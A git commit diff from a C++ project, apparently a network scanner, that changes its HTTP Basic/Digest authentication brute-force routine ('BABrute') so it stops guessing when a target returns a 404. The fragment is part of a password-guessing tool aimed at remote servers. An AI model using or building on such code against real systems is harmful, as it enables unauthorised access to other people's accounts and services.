404 BasicAuth check implemented.

This commit is contained in:
cora32 2015-04-19 12:33:26 +03:00
parent 40c380197e
commit a9152d56c8
2 changed files with 7 additions and 1 deletions

View File

@ -14,6 +14,11 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
) { ) {
return 1; return 1;
} }
else if (Utils::ustrstr(*buffer, "http/1.1 404") != -1
|| Utils::ustrstr(*buffer, "http/1.0 404") != -1) {
stt->doEmitionRedFoundData("BA - 404 " + QString(ip) + ":" + QString::number(port));
return -2;
}
else if (Utils::ustrstr(*buffer, "503 service unavailable") != -1 else if (Utils::ustrstr(*buffer, "503 service unavailable") != -1
|| Utils::ustrstr(*buffer, "http/1.1 503") != -1 || Utils::ustrstr(*buffer, "http/1.1 503") != -1
|| Utils::ustrstr(*buffer, "http/1.0 503") != -1 || Utils::ustrstr(*buffer, "http/1.0 503") != -1
@ -70,6 +75,7 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
if (res == -2) return lps; if (res == -2) return lps;
else if (res != -1) { else if (res != -1) {
res = checkOutput(&buffer, ip, port); res = checkOutput(&buffer, ip, port);
if (res == -2) return lps;
if (res == -1) { if (res == -1) {
++i; ++i;
break; break;

View File

@ -1 +1 @@
24B93-9B 24B93-D0